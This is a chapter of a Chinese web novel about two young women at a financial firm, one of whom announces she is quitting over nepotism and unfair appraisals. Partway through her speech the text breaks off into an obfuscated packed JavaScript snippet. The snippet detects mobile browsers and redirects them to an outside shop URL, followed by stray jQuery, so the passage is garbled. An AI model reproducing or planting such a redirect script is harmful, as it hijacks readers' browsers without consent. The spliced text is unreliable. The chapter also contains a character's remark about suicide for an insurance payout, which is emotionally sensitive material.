再次回到B城的时候，感觉已经过了一个世纪。


    开工第一天，大家都穿得喜气洋洋，李书允也不例外。


    深红色的针织衫，阔腿牛仔裤，特意将一头长发扎高，露出姣好的五官。以至于集团来各部门拜年的董书记看到她便笑眯眯道：“书允过年回来气色不错呀。”


    “这不是以崭新的面貌面对工作嘛，也让您看看咱们这里的新气象，新年再攀高峰。”李书允也笑着给这位顶头大领导拜了个年。


    只要离开家，李书允就能主动调回社会模式。


    有时候她真的很感谢自己还有一份能被她自己称之为事业的工作，呆在赵女士身边久了，常年的贬低与否认，她真的会认为自己什么都不是。但只要回到华申，作为市场上的大甲方，又是战投部的核心骨干，她能够对市面上绝大多数乙方指指点点的时候，这才能恢复一些信心。


    她会觉得自己其实也挺不错的。


    “加油干。”董书记意味深长，“集团看重年轻人，你又是年轻人里最出挑的几个之一，今年班子打定主意提拔一到两个95后到副总的位置上，我最看好你，书允，别让我失望啊。”


    李书允的笑容深了些。


    “我会努力的！”她说。


    对于李书允这样的女性从业者而言，在职场奋斗的难度要远高于男性，一旦超过了三十岁这条年龄界限，上升通道就将急速变窄，想要获得成功的可能性成倍衰退。管理层很有可能以不希望提拔一个在关键时刻有生育风险和育儿需求的女性为借口，将她排除在候选人外。


    有一个好父亲可以解决一部分问题，但不能解决全部问题。华申的好父亲有很多，李书允在这上面并不具备任何显著的优势。她是个女孩，这又是不可避免的劣势。许多时候，她要做的比同龄的男同事多上五倍，十倍，才有可能获得近乎相似的评价。


    **


    中午休息的时候，李书允的上班搭子小俞打电话叫她一起下楼喝咖啡。


    小俞今年同样27岁，校招进的华申，B大金融工程专业本硕连读，据称当年高考裸分高达697分，在她的故乡，某地级市的县城里，也能称得上是一个不世出的念书小天才。进入华申以后，作为同龄人，兼之工作往来频繁，她迅速和李书允打成一团，两人之间有着革命同志般的深刻交情。


    小俞在集团的投资部，负责兼并与重组业务。


    并购业务是一项非常高级的业务，对专业能力要求极高，同时，对外部资源的要求也非常高。做并购业务，意味着小俞要常年周旋于企业、律所、会计事务所、监管机构的主要管理人员之间，同时，并购的成功率远低于投资部其它业务板块，比如再融资。正常情况下，投资部的核心成员都会分到融资组里，以便于让他们迅速刷足存在感与项目经验。


    至于小俞这个组，难度高、压力大、对业务人员本身综合素质要求极其严苛，同时极难出成果。便是有了进展，也不会是小俞的功劳。


    小俞出生在小县城，父母都是退休工人，家中还有一个哥哥，一个妹妹，夹在中间的她向来是最不受父母关注的那一个。正因为是这样，小俞从小就憋着一口气，发誓要向全家证明自己的价值。


    见到李书允，她指了指手机;“给你点了一杯海盐拿铁，不加糖。”


    “怎么想到要请我喝咖啡。”李书允打趣她，“最近炒股发财了？”


    “害，别说了。”小俞无语，“我这辈子就没有靠A股发财的命，2600到4100的康庄大陆我是一点都没赶上，人家炒机器人的时候我买有色金属，人家炒有色我买航天，等航天涨起来，我的仓位全进机器人了，辛辛苦苦一年，挣得三瓜两枣根本不够补我的仓。”


    “还是太喜欢操作了。”李书允点评，“但凡不那么爱研究市场，说不定都挣钱了。”


    小俞：......


    “你说话真的很难听啊李书允！”小俞很生气，“你可以侮辱我的人格，不可以侮辱我的市场判断！”


    “这年头，说实话总是被人讨厌。”李书允叹了口气，“小俞啊，你好歹是能接触到内幕消息的人，你这要是都亏钱实在是说不过去了。”


    “什么内幕消息。”小俞撇撇嘴，“真要能接触内幕消息就好了，压根没有项目。”


    “怎么了？你们不是正在推动省国资委收购A省的一家上市能化公司？进展不顺利？”


    “我不知道。”小俞低头，“我从头到尾就是个打杂的，饭都是我们老总去吃的，我根本不知道有什么进展。就算有，不到最后一刻也没用，人家说不并就不并了。”


    热拿铁到手，暖洋洋的，海盐带着丝咸味，冲淡了咖啡原本的苦。


    华申在CBD区域有一整栋玻璃写字楼，与各大银行、券商的省分行及总行并列，除去金融机构，写字楼里还进驻着大大小小的律师事务所、会计事务所及小型基金私募。摩天大楼耸立如云，几栋被纳入全球高度记录的写字办公楼被划分为一个一个狭小的隔间，人像工蚁一般在拥挤的空间里活动，周而复始，循环往复，即便是在深夜，这片区域仍旧灯火通明，昼夜不息。


    李书允靠在栏杆边，任由春风拂过她一头长发，抬头，见绿化地上种着的柳树，已经吹起了半城柳絮。


    穿白衬衫黑色西装裤的人群匆匆走过下方的廊桥，迈入各式各样旋转的玻璃门中。


    世界好像很大。


    世界又好像很小。


    有人在滑雪冲浪。


    有人在忙忙碌碌生活。


    “书允啊。”小俞握着咖啡，趴到李书允的身边，她的一头短发在风中高高扬起，好像一蓬飘飞的羽毛。


    她用很轻很轻的声音说：“我决定辞职了。”


    “什么？”李书允猛地转头，“为什么？”


    “我拿到了一家互联网大厂的offer。”小俞报出一家如雷贯耳的企业名称，“我下定决心要离开华申了，我要换一座城市生活，我要离开这里。”


    “你冷静一点！那可是出了名的血汗工厂。”李书允震惊地盯着她，“007是常态，从性价比来说，完全比不上华申......更何况你是金融工程专业毕业，不是计算机，去了那边，你确定是合适的吗？你的职业规划呢？你的梦想呢？”


    小俞一直是华申年轻人中最积极向上的那一个，她拼命到了所有的中层管理都知道她很有梦想，她想到集团下的投行子公司做高级交易员，甚至是交易部门管理人员。她想要在这个行业获得认可和尊重，只可惜事与愿违。


    “什么职业规划不规划的，对方给我开了很多很多钱。”小俞笑了笑，“是华申的两倍。”


    过了几秒，她忽然哭了起来。


    “书允。”她说，“在这个行业里我什么都不是，我拿不到项目，我不会喝酒，我得不到任何认可，明明我之前是一个那么骄傲的人，但是在华申呆了三年后，我所有的自信心都没有了。”


    “我的同事，他们有的人是高干子弟，有的是世界五百强企业CEO的千金，他们来到这里就只是为了给自己的人生镀一块金字招牌，可我呢？我的人生只有这些了，我拼了命


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377993|199962||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的学习，拼了命的考试，为的就是离开小县城，让我妈妈知道，我才是全家最优秀的那个孩子，可是忙活了三年，我还是一无所有。我看不到任何晋升的希望，因为拿不到项目，我的绩效永远垫底，在这座城市，这些钱也仅仅是够我勉强生活而已。”


    “我原本以为，魏总是喜欢我的，他跟我说只要我能吃苦，他不会亏待我。但年前我才知道，我的绩效考核又是全部门最低。我去找他谈，他说他没有办法，如果得罪了那几位太子太女，我们的项目就没办法推进，损失会很大。”


    “可是凭什么呢书允？他们并不在乎年终绩效，这对他们来说还比不上去欧洲旅游一次的花销，可是我在乎！我需要这笔钱，为了这几万块钱，我每天加班，别说什么换个地方辛苦，在华申我一样很辛苦，但我什么都没有得到。”


    “去他的什么狗屁职业规划，去他的的体面，我现在要走了，我不干了，我不要再给太子公主们当洗脚婢了。”她狠狠擦了一把眼角，“我要去挣钱，挣很多很多钱。我原来总是害怕离开了华申，我再也找不到这样一个体面又还算舒适的工作，但现在我什么都不怕了，去他的命运，如果三十五岁的时候被裁员，大不了……”


    她顿了一下，像是把话咽进喉咙里，又硬生生吐出来。


    “我就去死好了，我就从楼上跳下去，还能挣一笔理赔金和保险费。人本来就是要死的，我不在乎。”


    这句话把李书允吓了一跳。


    “你别这么想，小俞。”她有些慌乱地说，“你真的很优秀，非常非常优秀。我是认真的，没有在敷衍你，大家都知道你做得有多好。你那么吃苦，那么努力，你加班的时长远高于我们所有人，你只要坚持下去，一定会得到自己想要的结果。”


    小俞摇了摇头。


    “我一点也不好。”她哭着说，“你以为我不知道自己离开了华申后，生活也许会变得更苦吗？我知道，但我一点办法都没有。我没有垂直经验，手上也没有任何项目成果，想跳槽到好的岗位不是那么的容易，可我要钱，我就是爱钱，我这辈子该死的贪慕虚荣，我对荣华富贵情有独钟！”


    “我想明白了，人生下来就是要吃苦的，我不怕吃苦，我已经吃了很多很多苦了，再多吃一点也没有关系。”


    “我生下来本来就是一无所有，我活着的每一秒钟，我都在得到，这就够了。”


    “为了得到，我可以不择手段。”


    “进入华申之后，我常常在想我的优势在哪里。我没有资源，也没有足够碾压旁人的技术，我不会溜须拍马，更加做不到八面玲珑，我不具备成为销冠的业务能力，同样也没有向上管理的千万颗心眼子。”


    “我想了很久，想到穷途末路的时候，我突然想了起来，相比于我们组其余人，我唯一的优势，也许就是我还有一口心气。”


    “这口气支撑着我不认输。”


    “我这一辈子，也就只争这一口气。”


    春风吹起的柳絮，轻飘飘地落到了小俞的脸上。


    她有一张秀气的脸蛋，和一双坚韧的眼睛。


    这双眼睛使李书允相信，或许在经过时间漫长的磨练后，她终将达成所愿。


    只不过不是现在。


    现在她们都太年轻了。


    “书允，祝福我。”小俞扬起咖啡杯，和李书允碰了碰。


    “我们都会得到自己想要的，对吧。”她问。


    她们两个曾经无数次问过对方这个问题。


    “会的。”李书允说。


    她张开双臂，抱了抱小俞。